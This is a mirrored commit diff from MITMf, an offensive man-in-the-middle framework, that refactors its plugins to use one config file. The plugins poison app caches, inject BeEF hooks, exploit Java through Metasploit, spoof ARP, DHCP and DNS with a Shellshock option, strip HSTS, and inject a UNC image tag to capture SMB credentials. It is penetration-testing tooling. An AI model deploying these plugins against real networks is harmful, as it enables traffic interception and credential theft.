mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
- All config files now consolidated into a single file
- Added 'args' option in config file - HSTS bypass is now a plugin (SSLstrip+) - SMBAuth now defaults to specified interface IP if --host is not passed - Modified plugins for new config support - Changed appoison and responder plugin for ConfigObj library support - Minor visual argparse changes - Slapped santa on the head with a trout - Gave rudolf a new nose
This commit is contained in:
parent
f359ee7cdd
commit
846f85426c
24 changed files with 531 additions and 436 deletions
|
@ -1,15 +1,14 @@
|
|||
#
|
||||
|
||||
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
|
||||
#######################################################################################################
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from datetime import date
|
||||
from libs.sslstrip.URLMonitor import URLMonitor
|
||||
import logging
|
||||
import ConfigParser
|
||||
import re
|
||||
import os.path
|
||||
import time
|
||||
import sys
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
name = "App Cache Poison"
|
||||
|
@ -21,24 +20,15 @@ class AppCachePlugin(Plugin):
|
|||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.config_file = "./config/app_cache_poison.cfg"
|
||||
self.config = None
|
||||
self.mass_poisoned_browsers = []
|
||||
self.urlMonitor = URLMonitor.getInstance()
|
||||
|
||||
try:
|
||||
self.config = options.configfile['AppCachePoison']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config file for AppCachePoison: " + str(e))
|
||||
|
||||
print "[*] App Cache Poison plugin online"
|
||||
self.createTamperer(self.config_file)
|
||||
|
||||
def parseConfig(self, configFile):
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(configFile)
|
||||
readConfig = config._sections
|
||||
readConfig.update(config.defaults())
|
||||
return readConfig
|
||||
|
||||
def createTamperer(self, configFile):
|
||||
logging.debug("Reading tamper config file: %s" % (configFile))
|
||||
self.config = self.parseConfig(configFile)
|
||||
|
||||
def handleResponse(self, request, data):
|
||||
|
||||
|
@ -55,12 +45,12 @@ class AppCachePlugin(Plugin):
|
|||
|
||||
urls = self.urlMonitor.getRedirectionSet(url)
|
||||
|
||||
(s,element,url) = self.getSectionForUrls(urls)
|
||||
if not s:
|
||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||
if s is False:
|
||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||
return {'request': request, 'data': data}
|
||||
|
||||
logging.debug("Found URL %s in section %s" % (url, s['__name__']))
|
||||
logging.debug("Found URL %s in section %s" % (url, name))
|
||||
p = self.getTemplatePrefix(s)
|
||||
if element == 'tamper':
|
||||
logging.debug("Poisoning tamper URL with template %s" % (p))
|
||||
|
@ -160,12 +150,12 @@ class AppCachePlugin(Plugin):
|
|||
|
||||
def getTemplatePrefix(self, section):
|
||||
if section.has_key('templates'):
|
||||
return self.config['templates_path'] + '/' + section['templates']
|
||||
|
||||
return self.config['templates_path'] + '/' + section['templates']
|
||||
|
||||
return self.getDefaultTemplatePrefix()
|
||||
|
||||
def getDefaultTemplatePrefix(self):
|
||||
return self.config['templates_path'] + '/default'
|
||||
return self.config['templates_path'] + '/default'
|
||||
|
||||
def getManifestUrl(self, section):
|
||||
return section.get("manifest_url",'/robots.txt')
|
||||
|
@ -175,15 +165,16 @@ class AppCachePlugin(Plugin):
|
|||
for i in self.config:
|
||||
if isinstance(self.config[i], dict): #section
|
||||
section = self.config[i]
|
||||
name = i
|
||||
if section.get('tamper_url',False) == url:
|
||||
return (section, 'tamper',url)
|
||||
return (name, section, 'tamper',url)
|
||||
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
|
||||
return (section, 'tamper',url)
|
||||
return (name, section, 'tamper',url)
|
||||
if section.get('manifest_url',False) == url:
|
||||
return (section, 'manifest',url)
|
||||
return (name, section, 'manifest',url)
|
||||
if section.get('raw_url',False) == url:
|
||||
return (section, 'raw',url)
|
||||
return (name, section, 'raw',url)
|
||||
|
||||
return (False,'',urls.copy().pop())
|
||||
return (None, False,'',urls.copy().pop())
|
||||
|
||||
|
||||
|
|
|
@ -9,11 +9,6 @@ import json
|
|||
import threading
|
||||
import libs.beefapi as beefapi
|
||||
|
||||
try:
|
||||
from configobj import ConfigObj
|
||||
except:
|
||||
sys.exit('[-] configobj library not installed!')
|
||||
|
||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||
requests_log.setLevel(logging.WARNING)
|
||||
|
||||
|
@ -25,10 +20,17 @@ class BeefAutorun(Inject, Plugin):
|
|||
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
self.options = options
|
||||
|
||||
beefconfig = ConfigObj("./config/mitmf.cfg")['BeEF']
|
||||
userconfig = ConfigObj("./config/beefautorun.cfg")
|
||||
try:
|
||||
beefconfig = options.configfile['MITMf']['BeEF']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing BeEF options in config file: " + str(e))
|
||||
|
||||
try:
|
||||
userconfig = options.configfile['BeEFAutorun']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e))
|
||||
|
||||
self.Mode = userconfig['mode']
|
||||
self.All_modules = userconfig["ALL"]
|
||||
|
|
|
@ -2,7 +2,7 @@ from plugins.plugin import Plugin
|
|||
|
||||
|
||||
class CacheKill(Plugin):
|
||||
name = "CacheKill Plugin"
|
||||
name = "CacheKill"
|
||||
optname = "cachekill"
|
||||
desc = "Kills page caching by modifying headers"
|
||||
implements = ["handleHeader", "connectionMade"]
|
||||
|
|
|
@ -88,7 +88,7 @@ class FilePwn(Plugin):
|
|||
#NOT USED NOW
|
||||
#self.supportedBins = ('MZ', '7f454c46'.decode('hex'))
|
||||
|
||||
self.userConfig = ConfigObj("./config/filepwn.cfg")
|
||||
self.userConfig = options.configfile['FilePwn']
|
||||
self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax']
|
||||
self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86']
|
||||
self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64']
|
||||
|
|
|
@ -3,6 +3,7 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Er
|
|||
from scapy.all import get_if_addr
|
||||
import time
|
||||
import re
|
||||
import sys
|
||||
import argparse
|
||||
from plugins.plugin import Plugin
|
||||
from plugins.CacheKill import CacheKill
|
||||
|
|
|
@ -9,7 +9,6 @@ import sys
|
|||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr
|
||||
from configobj import ConfigObj
|
||||
|
||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||
requests_log.setLevel(logging.WARNING)
|
||||
|
@ -26,8 +25,15 @@ class JavaPwn(BrowserProfiler, Plugin):
|
|||
self.options = options
|
||||
self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit
|
||||
|
||||
msfcfg = ConfigObj('./config/mitmf.cfg')['Metasploit']
|
||||
self.javacfg = ConfigObj('./config/javapwn.cfg')
|
||||
try:
|
||||
msfcfg = options.configfile['MITMf']['Metasploit']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing Metasploit options in config file : " + str(e))
|
||||
|
||||
try:
|
||||
self.javacfg = options.configfile['JavaPwn']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for JavaPwn: " + str(e))
|
||||
|
||||
self.msfport = msfcfg['msfport']
|
||||
self.rpcip = msfcfg['rpcip']
|
||||
|
|
|
@ -23,6 +23,11 @@ class Responder(Plugin):
|
|||
if os.geteuid() != 0:
|
||||
sys.exit("[-] Responder plugin requires root privileges")
|
||||
|
||||
try:
|
||||
config = options.configfile['Responder']
|
||||
except Exception, e:
|
||||
sys.exit('[-] Error parsing config for Responder: ' + str(e))
|
||||
|
||||
try:
|
||||
self.ip_address = get_if_addr(options.interface)
|
||||
if self.ip_address == "0.0.0.0":
|
||||
|
@ -32,16 +37,16 @@ class Responder(Plugin):
|
|||
|
||||
print "[*] Responder plugin online"
|
||||
DnsCache.getInstance().setCustomAddress(self.ip_address)
|
||||
DnsCache.getInstance().setCustomRes('wpad', self.ip_address)
|
||||
DnsCache.getInstance().setCustomRes('ISAProxySrv', self.ip_address)
|
||||
DnsCache.getInstance().setCustomRes('RespProxySrv', self.ip_address)
|
||||
|
||||
for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']:
|
||||
DnsCache.getInstance().setCustomRes(name, self.ip_address)
|
||||
|
||||
if '--spoof' not in sys.argv:
|
||||
print '[*] Setting up iptables'
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % options.listen)
|
||||
|
||||
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address))
|
||||
t = threading.Thread(name='responder', target=start_responder, args=(options, self.ip_address, config))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
|
|
|
@ -1,5 +1,9 @@
|
|||
from plugins.plugin import Plugin
|
||||
from plugins.Inject import Inject
|
||||
import sys
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import get_if_addr
|
||||
|
||||
|
||||
class SMBAuth(Inject, Plugin):
|
||||
|
@ -11,10 +15,19 @@ class SMBAuth(Inject, Plugin):
|
|||
Inject.initialize(self, options)
|
||||
self.target_ip = options.host
|
||||
self.html_payload = self._get_data()
|
||||
|
||||
if self.target_ip is None:
|
||||
try:
|
||||
self.target_ip = get_if_addr(options.interface)
|
||||
if self.target_ip == "0.0.0.0":
|
||||
sys.exit("[-] Interface %s does not have an IP address" % options.interface)
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error retrieving interface IP address: %s" % e)
|
||||
|
||||
print "[*] SMBAuth plugin online"
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument("--host", type=str, help="The ip address of your capture server")
|
||||
options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")
|
||||
|
||||
def _get_data(self):
|
||||
return '<img src=\"\\\\%s\\image.jpg\">'\
|
||||
|
|
20
plugins/SSLstrip+.py
Normal file
20
plugins/SSLstrip+.py
Normal file
|
@ -0,0 +1,20 @@
|
|||
from plugins.plugin import Plugin
|
||||
from libs.sslstrip.URLMonitor import URLMonitor
|
||||
import sys
|
||||
|
||||
class HSTSbypass(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
optname = 'hsts'
|
||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
||||
try:
|
||||
config = options.configfile['SSLstrip+']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
||||
|
||||
print "[*] SSLstrip+ plugin online"
|
||||
URLMonitor.getInstance().setHstsBypass(config)
|
|
@ -20,7 +20,6 @@ from base64 import b64decode
|
|||
from urllib import unquote
|
||||
import binascii
|
||||
import random
|
||||
from configobj import ConfigObj
|
||||
|
||||
|
||||
class Spoof(Plugin):
|
||||
|
@ -93,7 +92,7 @@ class Spoof(Plugin):
|
|||
|
||||
self.rand_number = []
|
||||
self.dhcp_dic = {}
|
||||
self.dhcpcfg = ConfigObj("./config/dhcp.cfg")
|
||||
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
||||
|
||||
thread_target = self.dhcp_sniff
|
||||
thread_args = ()
|
||||
|
@ -109,9 +108,9 @@ class Spoof(Plugin):
|
|||
print "[*] DNS Tampering enabled"
|
||||
|
||||
if self.dns:
|
||||
self.dnscfg = ConfigObj("./config/dns.cfg")
|
||||
self.dnscfg = options.configfile['Spoof']['DNS']
|
||||
|
||||
self.hstscfg = ConfigObj("./config/hsts_bypass.cfg")
|
||||
self.hstscfg = options.configfile['SSLstrip+']
|
||||
|
||||
if not self.manualiptables:
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
|
||||
|
@ -334,7 +333,7 @@ class Spoof(Plugin):
|
|||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
||||
options.add_argument('--shellshock', type=str, dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue